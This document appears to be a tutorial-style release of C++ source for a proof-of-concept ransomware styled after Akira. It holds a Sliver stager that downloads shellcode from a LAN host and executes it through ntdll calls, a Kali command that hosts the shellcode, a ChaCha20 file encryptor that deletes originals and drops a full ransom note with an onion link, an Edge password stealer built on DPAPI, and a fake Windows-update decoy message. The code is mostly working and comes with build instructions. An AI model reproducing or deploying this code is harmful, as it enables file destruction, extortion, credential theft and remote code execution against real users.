AKIRA AV evading C++ Code

Table of Contents

AKIRA Functional Code

Sliver Stager C2 Source Code (Only ntdll, No WinAPI)

```
// ntdll_runner.cpp  —  100 % ntdll, zero Win32
#include <windows.h>
#include <winternl.h>
#include <iostream>
#include <vector>

#pragma comment(lib, "ntdll.lib")
#pragma comment(lib, "ws2_32.lib")   // only for TCP socket (user-mode)

// ------------------------------------------------------------------
// ntdll prototypes
// ------------------------------------------------------------------
extern "C" {
    NTSTATUS NTAPI NtAllocateVirtualMemory(
        HANDLE    ProcessHandle,
        PVOID* BaseAddress,
        ULONG_PTR ZeroBits,
        PSIZE_T   RegionSize,
        ULONG     AllocationType,
        ULONG     Protect);

    NTSTATUS NTAPI NtCreateThreadEx(
        PHANDLE                 ThreadHandle,
        ACCESS_MASK             DesiredAccess,
        POBJECT_ATTRIBUTES      ObjectAttributes,
        HANDLE                  ProcessHandle,
        PVOID                   StartRoutine,
        PVOID                   Argument,
        ULONG                   CreateFlags,
        SIZE_T                  ZeroBits,
        SIZE_T                  StackSize,
        SIZE_T                  MaximumStackSize,
        PVOID                   AttributesList);
```

```
    NTSTATUS NTAPI NtWaitForSingleObject(
        HANDLE Handle,
        BOOLEAN Alertable,
        PLARGE_INTEGER Timeout);

    NTSTATUS NTAPI NtClose(HANDLE Handle);
}

#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#define NtCurrentProcess() ((HANDLE)(LONG_PTR)-1)

// ----------------------------------------------------------------
// tiny HTTP downloader (simple TCP socket)
// ----------------------------------------------------------------
std::vector<BYTE> download(const char* host, const char* path, uint16_t port = 80)
{
    WSADATA wsa; WSAStartup(MAKEWORD(2, 2), &wsa);
    SOCKET s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if (s == INVALID_SOCKET) return {};

    sockaddr_in sa{};
    sa.sin_family = AF_INET;
    sa.sin_port = htons(port);
    sa.sin_addr.s_addr = inet_addr("192.168.8.130");

    if (connect(s, (sockaddr*)&sa, sizeof(sa)) == SOCKET_ERROR) { closesocket(s);
return {}; }

    std::string req = "GET " + std::string(path) + " HTTP/1.1\r\nHost: " + host +
"\r\n\r\n";
    send(s, req.c_str(), (int)req.size(), 0);

    std::vector<BYTE> blob;
    char buf[4096];
    int n;
    while ((n = recv(s, buf, sizeof(buf), 0)) > 0)
        blob.insert(blob.end(), buf, buf + n);
    closesocket(s); WSACleanup();

    // crude HTTP header strip
    for (auto it = blob.begin(); it < blob.end() - 3; ++it)
        if (it[0] == '\r' && it[1] == '\n' && it[2] == '\r' && it[3] == '\n') {
            blob.erase(blob.begin(), it + 4);
            break;
        }
    return blob;
}

// ----------------------------------------------------------------
// shellcode runner (pure ntdll)
// ----------------------------------------------------------------
void run_shellcode(const std::vector<BYTE>& sc)
{
    if (sc.empty()) return;

    PVOID base = nullptr;
    SIZE_T size = sc.size();
```

```
    NTSTATUS st = NtAllocateVirtualMemory(
        NtCurrentProcess(), &base, 0, &size,
        MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (!NT_SUCCESS(st)) return;

    memcpy(base, sc.data(), sc.size());

    HANDLE hThread = nullptr;
    st = NtCreateThreadEx(&hThread, GENERIC_ALL, nullptr, NtCurrentProcess(),
        (PVOID)base, nullptr, 0, 0, 0, 0, nullptr);
    if (NT_SUCCESS(st))
        NtWaitForSingleObject(hThread, FALSE, nullptr);

    NtClose(hThread);
}

// ----------------------------------------------------------------
// main
// ----------------------------------------------------------------
int main()
{
    auto sc = download("192.168.8.130", "/test.txt ", 9443);
    run_shellcode(sc);
    return 0;
}
```

Compilation Instructions on Visual Studio 2022

1. - **Configuration Manager → x64 Release**
2. **C/C++ → Code Generation → Runtime Library → /MT**
3. **Linker → Input → Additional Dependencies → ntdll.lib ws2_32.lib**

Shellcode hosting format

```
┌──(kali㉿kali)-[~/Downloads]
└─$echo -en
'\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x6
5\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4
a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe
2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x4
8\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x4
8\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x4
1\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x2
4\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x0
1\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xf
f\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x0
0\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb
5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe
0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x6
5\x78\x65\x00' > test.txt

┌──(kali㉿kali)-[~/Downloads]
└─$uploadserver 9443
```

AKIRA Encryptor (/e) and DPAPI Extractor (/d) Functional Source Code

```
#include <windows.h>
#include <bcrypt.h>
#include <dpapi.h>
#include <sqlite3.h>
#include <shlobj.h>
#include <string>
#include <vector>
#include <fstream>
#include <iostream>
#include <iomanip>
#include <sodium.h>
#include <filesystem>
#include <cstring>
#include <cstdint>
namespace fs = std::filesystem;

#pragma comment(lib, "bcrypt.lib")
#pragma comment(lib, "crypt32.lib")

// ----------------------------------------------------------------
// CONFIGURATION
// ----------------------------------------------------------------
static constexpr char EXT[] = ".akira";
static constexpr char NOTE[] = "THIS IS A POC RANSOMWARE";

// public key (same 256-byte modulus, 32-byte ChaCha20 key encrypted with RSA)
// For the POC we skip RSA and just hard-code the ChaCha20 key.
// In real ransomware you would RSA-wrap the key; here we keep it simple.
static const unsigned char CHACHA_KEY[crypto_stream_chacha20_KEYBYTES] = {
    0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08,
    0x09,0x0A,0x0B,0x0C,0x0D,0x0E,0x0F,0x10,
    0x11,0x12,0x13,0x14,0x15,0x16,0x17,0x18,
    0x19,0x1A,0x1B,0x1C,0x1D,0x1E,0x1F,0x20
};
// ----------------------------------------------------------------
// helpers
// ----------------------------------------------------------------

bool encrypt_file(const fs::path& in)

{
    // open input
    std::ifstream src(in, std::ios::binary);
    if (!src) return false;
    // open output
    fs::path out = in.string() + EXT;
    std::ofstream dst(out, std::ios::binary);
    if (!dst) return false;
    // random nonce (96-bit)
    unsigned char nonce[crypto_stream_chacha20_NONCEBYTES];
    randombytes_buf(nonce, sizeof(nonce));
    dst.write(reinterpret_cast<char*>(nonce), sizeof(nonce));
    // stream-cipher in one pass
```

```
    constexpr size_t CHUNK = 1 << 20; // 1 MiB
    std::vector<unsigned char> buf(CHUNK);
    std::vector<unsigned char> cipher(CHUNK);
    uint64_t offset = 0;
    while (src.good())
    {
        src.read(reinterpret_cast<char*>(buf.data()), buf.size());
        std::streamsize n = src.gcount();
        if (n == 0) break;
        crypto_stream_chacha20_xor_ic(cipher.data(), buf.data(), n, nonce, offset,
CHACHA_KEY);
        dst.write(reinterpret_cast<char*>(cipher.data()), n);
        offset += n;
    }
    return true;
}
void drop_note(const fs::path& dir)
{
    std::ofstream note(dir / "README.txt");
    note << NOTE;
}
void process_directory(const fs::path& dir)
{
    // 1. always drop the note in the current directory
    std::ofstream(dir / "README.txt") << NOTE;
    // 2. then walk the directory
    for (auto const& entry :
        fs::recursive_directory_iterator(dir,
            fs::directory_options::skip_permission_denied))
    {
        if (entry.is_directory()) {
            // directory we just entered → drop note
            std::ofstream(entry.path() / "README.txt") << NOTE;
            continue;
        }
        const fs::path file = entry.path();
        if (file.extension() == EXT) continue; // already encrypted
        if (file.filename() == "README.txt") continue; // never encrypt the note
        if (encrypt_file(file))
            fs::remove(file);
    }
}

// ---------------------------------------------------------------------------
// DPAPI START: Helpers
// ---------------------------------------------------------------------------
std::vector<BYTE> Base64ToBytes(const std::string& b64)
{
    DWORD len = 0;
    CryptStringToBinaryA(b64.c_str(), 0, CRYPT_STRING_BASE64, nullptr, &len,
nullptr, nullptr);
    std::vector<BYTE> out(len);
    CryptStringToBinaryA(b64.c_str(), 0, CRYPT_STRING_BASE64, out.data(), &len,
nullptr, nullptr);
    return out;
}
std::vector<BYTE> DPAPIUnprotect(const std::vector<BYTE>& cipher)
```

```
{
    DATA_BLOB in{}, out{};
    in.pbData = const_cast<BYTE*>(cipher.data());
    in.cbData = static_cast<DWORD>(cipher.size());
    if (!CryptUnprotectData(&in, nullptr, nullptr, nullptr, nullptr, 0, &out))
        return {};
    std::vector<BYTE> plain(out.pbData, out.pbData + out.cbData);
    LocalFree(out.pbData);
    return plain;
}
bool InitAES_GCM(const std::vector<BYTE>& key32,
    BCRYPT_ALG_HANDLE& hAlg,
    BCRYPT_KEY_HANDLE& hKey)
{
    if (BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM, nullptr, 0))
        return false;
    // ULONG cb;
    BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE,
        (PUCHAR)BCRYPT_CHAIN_MODE_GCM,
        sizeof(BCRYPT_CHAIN_MODE_GCM), 0);
    BCryptGenerateSymmetricKey(hAlg, &hKey, nullptr, 0,
        (PUCHAR)key32.data(),
        static_cast<ULONG>(key32.size()), 0);
    return true;
}
std::string AES_GCM_Decrypt(const std::vector<BYTE>& blob, BCRYPT_KEY_HANDLE hKey)
{
    if (blob.size() < 31) return "";
    BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO info;
    BCRYPT_INIT_AUTH_MODE_INFO(info);
    info.pbNonce = const_cast<BYTE*>(blob.data() + 3); // 12 bytes
    info.cbNonce = 12;
    info.pbTag = const_cast<BYTE*>(blob.data() + blob.size() - 16); // 16 bytes
    info.cbTag = 16;
    DWORD cipherLen = static_cast<DWORD>(blob.size() - 31);
    std::vector<BYTE> plain(cipherLen);
    DWORD pcb = 0;
    NTSTATUS nt = BCryptDecrypt(hKey,
        const_cast<BYTE*>(blob.data() + 15),
        cipherLen,
        &info,
        nullptr, 0,
        plain.data(), plain.size(),
        &pcb, 0);
    if (nt != 0) return "";
    plain.resize(pcb);
    return std::string(plain.begin(), plain.end());
}

// ---------------------------------------------------------------------------
// Main
// ---------------------------------------------------------------------------

int main(int argc, char* argv[]) {
   // If no arguments provided, show help
    if (argc == 1) {
        std::cout << "Entering Communication Channel "; //C2 Beacon
```

```
        return 0;
    }
    // Get the first argument
    std::string argument = argv[1];
    // Handle different arguments
    if (argument == "/d") {
                            // 1. Build paths
                        char userProfile[MAX_PATH];
                        SHGetFolderPathA(nullptr, CSIDL_PROFILE, nullptr, 0,
userProfile);
                        std::string localStatePath = std::string(userProfile) + R"
(\AppData\Local\Microsoft\Edge\User Data\Local State)";
                        std::string chromeRoot = std::string(userProfile) + R"
(\AppData\Local\Microsoft\Edge\User Data)";
                        // 2. DPAPI-decrypt AES key
                        FILE* f = nullptr;
                        fopen_s(&f, localStatePath.c_str(), "rb");
                        if (!f) { std::cerr << "Cannot open Local State\n"; return
1; }
                        fseek(f, 0, SEEK_END); long sz = ftell(f); fseek(f, 0,
SEEK_SET);
                        std::vector<char> json(sz);
                        fread(json.data(), 1, sz, f);
                        fclose(f);
                        std::string jsonStr(json.begin(), json.end());
                        size_t pos = jsonStr.find("\"encrypted_key\"");
                        if (pos == std::string::npos) { std::cerr << "encrypted_key
not found\n"; return 1; }
                        pos = jsonStr.find(':', pos) + 2;
                        size_t end = jsonStr.find('"', pos);
                        std::string b64 = jsonStr.substr(pos, end - pos);
                        auto enc = Base64ToBytes(b64);
                        if (enc.size() < 5 || memcmp(enc.data(), "DPAPI", 5)) {
std::cerr << "Bad key header\n"; return 1; }
                        auto key32 = DPAPIUnprotect(std::vector<BYTE>(enc.begin() +
5, enc.end()));
                        if (key32.size() != 32) { std::cerr << "Key length != 32\n";
return 1; }
                        // 3. Init AES
                        BCRYPT_ALG_HANDLE hAlg = nullptr;
                        BCRYPT_KEY_HANDLE hKey = nullptr;
                        if (!InitAES_GCM(key32, hAlg, hKey)) { std::cerr << "AES
init failed\n"; return 1; }
                        // 4. Search the two usual locations explicitly
                        const char* candidates[] = {
                            "\\Default\\Login Data",
                            "\\Profile 1\\Login Data"
                        };
                        std::ofstream csv("decrypted_password.csv");
                        csv << "index,url,username,password\n";
                        int idx = 0;
                        for (const char* sub : candidates) {
                            char dbPath[MAX_PATH];
                            sprintf_s(dbPath, sizeof(dbPath), "%s%s",
chromeRoot.c_str(), sub);
                            if (GetFileAttributesA(dbPath) ==
INVALID_FILE_ATTRIBUTES)
```

```
                                continue; // file does not exist
                            sqlite3* db;
                            if (sqlite3_open_v2(dbPath, &db, SQLITE_OPEN_READONLY,
nullptr) == SQLITE_OK) {
                                std::cout << "[+] Opening " << dbPath << "\n";
                                sqlite3_stmt* stmt;
                                const char* sql = "SELECT action_url,
username_value, password_value FROM logins";
                                if (sqlite3_prepare_v2(db, sql, -1, &stmt, nullptr)
== SQLITE_OK) {
                                    while (sqlite3_step(stmt) == SQLITE_ROW) {
                                        const char* url = reinterpret_cast<const
char*>(sqlite3_column_text(stmt, 0));
                                        const char* username =
reinterpret_cast<const char*>(sqlite3_column_text(stmt, 1));
                                        const BYTE* cipher = static_cast<const
BYTE*>(sqlite3_column_blob(stmt, 2));
                                        int len = sqlite3_column_bytes(stmt, 2);
                                        if (!url || !username || len < 31) continue;
                                        std::vector<BYTE> blob(cipher, cipher +
len);
                                        std::cout << "Blob size = " << blob.size()
                                            << " first bytes = "
                                            << std::hex << std::setfill('0')
                                            << (int)blob[0] << " " << (int)blob[1]
<< " " << (int)blob[2]
                                            << std::dec << "\n";
                                        std::string password = AES_GCM_Decrypt(blob,
hKey);
                                        std::cout << "URL: " << url << "\nUser: " <<
username << "\nPassword: " << password << "\n" << std::string(50, '-') << "\n";
                                        csv << idx++ << "," << url << "," <<
username << "," << password << "\n";
                                    }
                                }
                                sqlite3_finalize(stmt);
                                sqlite3_close(db);
                            }
                        }
                        if (hKey) BCryptDestroyKey(hKey);
                        if (hAlg) BCryptCloseAlgorithmProvider(hAlg, 0);
                        return 0;
    }
    else if (argument == "/e") {
                                if (sodium_init() < 0) {
                                std::cerr << "libsodium init failed\n";
                                return 1;
                            }
                        #ifdef _WIN32
                            fs::path root = fs::path(getenv("USERPROFILE")) /
"Pictures";
                        #else
                            fs::path root = fs::path(getenv("HOME")) / "Pictures";
                        #endif
                            if (!fs::exists(root)) {
                                std::cerr << "Pictures folder not found\n";
                                return 1;
```

```
                                }
                                process_directory(root);
                                return 0;
    }
    else {
        std::cout << "Unknown argument: " ;
        return 1;
    }
    return 0;
}
```

Compilation Instructions of the code above on Visual Studio 2022

1. - For DPAPI --> sqlite3.c/.h include, bcrypt, crypt32 libraries
2. - For Encryptor --> libsodium.lib, static linking, vcpkg configuration to allow static and disable dynamic linking

Full Source Code

```
#include <windows.h>
#include <winternl.h>
#include <bcrypt.h>
#include <dpapi.h>
#include <sqlite3.h>
#include <shlobj.h>
#include <string>
#include <vector>
#include <fstream>
#include <iostream>
#include <iomanip>
#include <sodium.h>
#include <filesystem>
#include <cstring>
#include <cstdint>
namespace fs = std::filesystem;

#pragma comment(lib, "bcrypt.lib")
#pragma comment(lib, "crypt32.lib")
#pragma comment(lib, "ntdll.lib")
#pragma comment(lib, "ws2_32.lib")   // only for TCP socket (user-mode)

// ----------------------------------------------------------------
// ntdll prototypes (part of /c)
// ----------------------------------------------------------------
extern "C" {
    NTSTATUS NTAPI NtAllocateVirtualMemory(
        HANDLE    ProcessHandle,
        PVOID* BaseAddress,
        ULONG_PTR ZeroBits,
        PSIZE_T   RegionSize,
```

```
        ULONG     AllocationType,
        ULONG     Protect);

    NTSTATUS NTAPI NtCreateThreadEx(
        PHANDLE                 ThreadHandle,
        ACCESS_MASK             DesiredAccess,
        POBJECT_ATTRIBUTES      ObjectAttributes,
        HANDLE                  ProcessHandle,
        PVOID                   StartRoutine,
        PVOID                   Argument,
        ULONG                   CreateFlags,
        SIZE_T                  ZeroBits,
        SIZE_T                  StackSize,
        SIZE_T                  MaximumStackSize,
        PVOID                   AttributesList);

    NTSTATUS NTAPI NtWaitForSingleObject(
        HANDLE Handle,
        BOOLEAN Alertable,
        PLARGE_INTEGER Timeout);

    NTSTATUS NTAPI NtClose(HANDLE Handle);
}

#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#define NtCurrentProcess() ((HANDLE)(LONG_PTR)-1)

// ----------------------------------------------------------------
// tiny HTTP downloader (simple TCP socket, part of /c)
// ----------------------------------------------------------------
std::vector<BYTE> download(const char* host, const char* path, uint16_t port = 80)
{
    WSADATA wsa; WSAStartup(MAKEWORD(2, 2), &wsa);
    SOCKET s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if (s == INVALID_SOCKET) return {};

    sockaddr_in sa{};
    sa.sin_family = AF_INET;
    sa.sin_port = htons(port);
    sa.sin_addr.s_addr = inet_addr("192.168.8.130");

    if (connect(s, (sockaddr*)&sa, sizeof(sa)) == SOCKET_ERROR) { closesocket(s);
return {}; }

    std::string req = "GET " + std::string(path) + " HTTP/1.1\r\nHost: " + host +
"\r\n\r\n";
    send(s, req.c_str(), (int)req.size(), 0);

    std::vector<BYTE> blob;
    char buf[4096];
    int n;
    while ((n = recv(s, buf, sizeof(buf), 0)) > 0)
        blob.insert(blob.end(), buf, buf + n);
    closesocket(s); WSACleanup();

    // crude HTTP header strip
    for (auto it = blob.begin(); it < blob.end() - 3; ++it)
```

```
        if (it[0] == '\r' && it[1] == '\n' && it[2] == '\r' && it[3] == '\n') {
            blob.erase(blob.begin(), it + 4);
            break;
        }
    return blob;
}

// ----------------------------------------------------------------
// shellcode runner (pure ntdll, part of /c)
// ----------------------------------------------------------------
void run_shellcode(const std::vector<BYTE>& sc)
{
    if (sc.empty()) return;

    PVOID base = nullptr;
    SIZE_T size = sc.size();
    NTSTATUS st = NtAllocateVirtualMemory(
        NtCurrentProcess(), &base, 0, &size,
        MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (!NT_SUCCESS(st)) return;

    memcpy(base, sc.data(), sc.size());

    HANDLE hThread = nullptr;
    st = NtCreateThreadEx(&hThread, GENERIC_ALL, nullptr, NtCurrentProcess(),
        (PVOID)base, nullptr, 0, 0, 0, 0, nullptr);
    if (NT_SUCCESS(st))
        NtWaitForSingleObject(hThread, FALSE, nullptr);

    NtClose(hThread);
}


// ----------------------------------------------------------------
// CONFIGURATION (part of /e)
// ----------------------------------------------------------------
static constexpr char EXT[] = ".akira";
const char* NOTE = R"(
Hi friends,

Whatever or whoever you are and whatever your title is, if you're reading this it
means the internal infrastructure of your company is fully or partially dead, all
your
well, for now let's keep all the tears and resentment to ourselves and try to build
a constructive dialogue. We're fully aware of what damage we caused by it.
1. Dealing with us you will save A LOT due to we are not interested in ruining your
financially. We will study in depth your finance, bank & income statement
2. Paying us you save your TIME, MONEY, EFFORTS and be back on track within 24 hours
approximately. Our decryptor works properly on any files or systems, so
3. The security report or the exclusive first-hand information that you will receive
upon reaching an agreement is of a great value, since NO full audit of y
4. As for your data, if you fail to agree, we will try to sell personal
information/trade secrets/databases/source codes - generally speaking, everything
that
5. We're more than negotiable and will definitely find the way to settle this
quickly and reach an agreement which will satisfy both of us.
If you're indeed interested in our assistance and the services we provide you can
```

```
reach out to us following simple instructions:
6. Install TOR Browser to get access to our chat room -
https://www.torproject.org/download/
7. Paste this link -
https://akiralkzxq2dsrzsrvbr2xgbbu2wgsmxryd4csefameg52n7efvrziq.onion
8. Use this code - REDBIKE-POC-2024 - to log into our chat.
Keep in mind that the faster you will get in touch, the less damage we cause.
)";

// public key (same 256-byte modulus, 32-byte ChaCha20 key encrypted with RSA)
// For the POC we skip RSA and just hard-code the ChaCha20 key.
// In real ransomware you would RSA-wrap the key; here we keep it simple.
static const unsigned char CHACHA_KEY[crypto_stream_chacha20_KEYBYTES] = {
    0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08,
    0x09,0x0A,0x0B,0x0C,0x0D,0x0E,0x0F,0x10,
    0x11,0x12,0x13,0x14,0x15,0x16,0x17,0x18,
    0x19,0x1A,0x1B,0x1C,0x1D,0x1E,0x1F,0x20
};
// ----------------------------------------------------------------
// helpers
// ----------------------------------------------------------------

bool encrypt_file(const fs::path& in)

{
    // open input
    std::ifstream src(in, std::ios::binary);
    if (!src) return false;
    // open output
    fs::path out = in.string() + EXT;
    std::ofstream dst(out, std::ios::binary);
    if (!dst) return false;
    // random nonce (96-bit)
    unsigned char nonce[crypto_stream_chacha20_NONCEBYTES];
    randombytes_buf(nonce, sizeof(nonce));
    dst.write(reinterpret_cast<char*>(nonce), sizeof(nonce));
    // stream-cipher in one pass
    constexpr size_t CHUNK = 1 << 20; // 1 MiB
    std::vector<unsigned char> buf(CHUNK);
    std::vector<unsigned char> cipher(CHUNK);
    uint64_t offset = 0;
    while (src.good())
    {
        src.read(reinterpret_cast<char*>(buf.data()), buf.size());
        std::streamsize n = src.gcount();
        if (n == 0) break;
        crypto_stream_chacha20_xor_ic(cipher.data(), buf.data(), n, nonce, offset,
CHACHA_KEY);
        dst.write(reinterpret_cast<char*>(cipher.data()), n);
        offset += n;
    }
    return true;
}
void drop_note(const fs::path& dir)
{
    std::ofstream note(dir / "README.txt");
    note << NOTE;
```

```
}
void process_directory(const fs::path& dir)
{
    // 1. always drop the note in the current directory
    std::ofstream(dir / "README.txt") << NOTE;
    // 2. then walk the directory
    for (auto const& entry :
        fs::recursive_directory_iterator(dir,
            fs::directory_options::skip_permission_denied))
    {
        if (entry.is_directory()) {
            // directory we just entered → drop note
            std::ofstream(entry.path() / "README.txt") << NOTE;
            continue;
        }
        const fs::path file = entry.path();
        if (file.extension() == EXT) continue; // already encrypted
        if (file.filename() == "README.txt") continue; // never encrypt the note
        if (encrypt_file(file))
            fs::remove(file);
    }
}

// ---------------------------------------------------------------------------
// DPAPI START: Helpers
// ---------------------------------------------------------------------------
std::vector<BYTE> Base64ToBytes(const std::string& b64)
{
    DWORD len = 0;
    CryptStringToBinaryA(b64.c_str(), 0, CRYPT_STRING_BASE64, nullptr, &len,
nullptr, nullptr);
    std::vector<BYTE> out(len);
    CryptStringToBinaryA(b64.c_str(), 0, CRYPT_STRING_BASE64, out.data(), &len,
nullptr, nullptr);
    return out;
}
std::vector<BYTE> DPAPIUnprotect(const std::vector<BYTE>& cipher)
{
    DATA_BLOB in{}, out{};
    in.pbData = const_cast<BYTE*>(cipher.data());
    in.cbData = static_cast<DWORD>(cipher.size());
    if (!CryptUnprotectData(&in, nullptr, nullptr, nullptr, nullptr, 0, &out))
        return {};
    std::vector<BYTE> plain(out.pbData, out.pbData + out.cbData);
    LocalFree(out.pbData);
    return plain;
}
bool InitAES_GCM(const std::vector<BYTE>& key32,
    BCRYPT_ALG_HANDLE& hAlg,
    BCRYPT_KEY_HANDLE& hKey)
{
    if (BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM, nullptr, 0))
        return false;
    // ULONG cb;
    BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE,
        (PUCHAR)BCRYPT_CHAIN_MODE_GCM,
        sizeof(BCRYPT_CHAIN_MODE_GCM), 0);
```

```
    BCryptGenerateSymmetricKey(hAlg, &hKey, nullptr, 0,
        (PUCHAR)key32.data(),
        static_cast<ULONG>(key32.size()), 0);
    return true;
}
std::string AES_GCM_Decrypt(const std::vector<BYTE>& blob, BCRYPT_KEY_HANDLE hKey)
{
    if (blob.size() < 31) return "";
    BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO info;
    BCRYPT_INIT_AUTH_MODE_INFO(info);
    info.pbNonce = const_cast<BYTE*>(blob.data() + 3); // 12 bytes
    info.cbNonce = 12;
    info.pbTag = const_cast<BYTE*>(blob.data() + blob.size() - 16); // 16 bytes
    info.cbTag = 16;
    DWORD cipherLen = static_cast<DWORD>(blob.size() - 31);
    std::vector<BYTE> plain(cipherLen);
    DWORD pcb = 0;
    NTSTATUS nt = BCryptDecrypt(hKey,
        const_cast<BYTE*>(blob.data() + 15),
        cipherLen,
        &info,
        nullptr, 0,
        plain.data(), plain.size(),
        &pcb, 0);
    if (nt != 0) return "";
    plain.resize(pcb);
    return std::string(plain.begin(), plain.end());
}

// ---------------------------------------------------------------------------
// Main
// ---------------------------------------------------------------------------

int main(int argc, char* argv[]) {
    // If no arguments provided, show harmless message
    if (argc == 1) {
        std::cout << "This MS20250813 KB345346J346 update has already been installed
on your computer. Please verify at microsoft.com/check-hotfix CS1985432. ";
        return 0;
    }
    // Get the first argument
    std::string argument = argv[1];
    // Handle different arguments
    if (argument == "/c") {
        auto sc = download("192.168.8.130", "/test.txt ", 9443);
        run_shellcode(sc);
        return 0;
    }
    else if (argument == "/d") {
        // 1. Build paths
        char userProfile[MAX_PATH];
        SHGetFolderPathA(nullptr, CSIDL_PROFILE, nullptr, 0, userProfile);
        std::string localStatePath = std::string(userProfile) + R"
(\AppData\Local\Microsoft\Edge\User Data\Local State)";
        std::string chromeRoot = std::string(userProfile) + R"
(\AppData\Local\Microsoft\Edge\User Data)";
        // 2. DPAPI-decrypt AES key
```

```
        FILE* f = nullptr;
        fopen_s(&f, localStatePath.c_str(), "rb");
        if (!f) { std::cerr << "Cannot open Local State\n"; return 1; }
        fseek(f, 0, SEEK_END); long sz = ftell(f); fseek(f, 0, SEEK_SET);
        std::vector<char> json(sz);
        fread(json.data(), 1, sz, f);
        fclose(f);
        std::string jsonStr(json.begin(), json.end());
        size_t pos = jsonStr.find("\"encrypted_key\"");
        if (pos == std::string::npos) { std::cerr << "encrypted_key not found\n";
return 1; }
        pos = jsonStr.find(':', pos) + 2;
        size_t end = jsonStr.find('"', pos);
        std::string b64 = jsonStr.substr(pos, end - pos);
        auto enc = Base64ToBytes(b64);
        if (enc.size() < 5 || memcmp(enc.data(), "DPAPI", 5)) { std::cerr << "Bad
key header\n"; return 1; }
        auto key32 = DPAPIUnprotect(std::vector<BYTE>(enc.begin() + 5, enc.end()));
        if (key32.size() != 32) { std::cerr << "Key length != 32\n"; return 1; }
        // 3. Init AES
        BCRYPT_ALG_HANDLE hAlg = nullptr;
        BCRYPT_KEY_HANDLE hKey = nullptr;
        if (!InitAES_GCM(key32, hAlg, hKey)) { std::cerr << "AES init failed\n";
return 1; }
        // 4. Search the two usual locations explicitly
        const char* candidates[] = {
            "\\Default\\Login Data",
            "\\Profile 1\\Login Data"
        };
        std::ofstream csv("decrypted_password.csv");
        csv << "index,url,username,password\n";
        int idx = 0;
        for (const char* sub : candidates) {
            char dbPath[MAX_PATH];
            sprintf_s(dbPath, sizeof(dbPath), "%s%s", chromeRoot.c_str(), sub);
            if (GetFileAttributesA(dbPath) == INVALID_FILE_ATTRIBUTES)
                continue; // file does not exist
            sqlite3* db;
            if (sqlite3_open_v2(dbPath, &db, SQLITE_OPEN_READONLY, nullptr) ==
SQLITE_OK) {
                std::cout << "[+] Opening " << dbPath << "\n";
                sqlite3_stmt* stmt;
                const char* sql = "SELECT action_url, username_value, password_value
FROM logins";
                if (sqlite3_prepare_v2(db, sql, -1, &stmt, nullptr) == SQLITE_OK) {
                    while (sqlite3_step(stmt) == SQLITE_ROW) {
                        const char* url = reinterpret_cast<const char*>
(sqlite3_column_text(stmt, 0));
                        const char* username = reinterpret_cast<const char*>
(sqlite3_column_text(stmt, 1));
                        const BYTE* cipher = static_cast<const BYTE*>
(sqlite3_column_blob(stmt, 2));
                        int len = sqlite3_column_bytes(stmt, 2);
                        if (!url || !username || len < 31) continue;
                        std::vector<BYTE> blob(cipher, cipher + len);
                        std::cout << "Blob size = " << blob.size()
                            << " first bytes = "
```

```
                            << std::hex << std::setfill('0')
                            << (int)blob[0] << " " << (int)blob[1] << " " <<
(int)blob[2]
                            << std::dec << "\n";
                        std::string password = AES_GCM_Decrypt(blob, hKey);
                        std::cout << "URL: " << url << "\nUser: " << username <<
"\nPassword: " << password << "\n" << std::string(50, '-') << "\n";
                        csv << idx++ << "," << url << "," << username << "," <<
password << "\n";
                    }
                }
                sqlite3_finalize(stmt);
                sqlite3_close(db);
            }
        }
        if (hKey) BCryptDestroyKey(hKey);
        if (hAlg) BCryptCloseAlgorithmProvider(hAlg, 0);
        return 0;
    }
    else if (argument == "/e") {
        if (sodium_init() < 0) {
            std::cerr << "libsodium init failed\n";
            return 1;
        }
        fs::path root = fs::path(getenv("USERPROFILE")) / "Pictures";
        //fs::path root = "C:\\Users";
        if (!fs::exists(root)) {
            std::cerr << "Folder not found\n";
            return 1;
        }
        process_directory(root);
        return 0;
    }
    else {
        std::cout << "Unknown argument. Please try again. ";
        return 1;
    }
    return 0;
}
```

Linux Compilation

```
Download and store sqlite3 amalgamation files in the same folder, libsodium.org
..files too

wget https://www.sqlite.org/2025/sqlite-amalgamation-3500400.zip
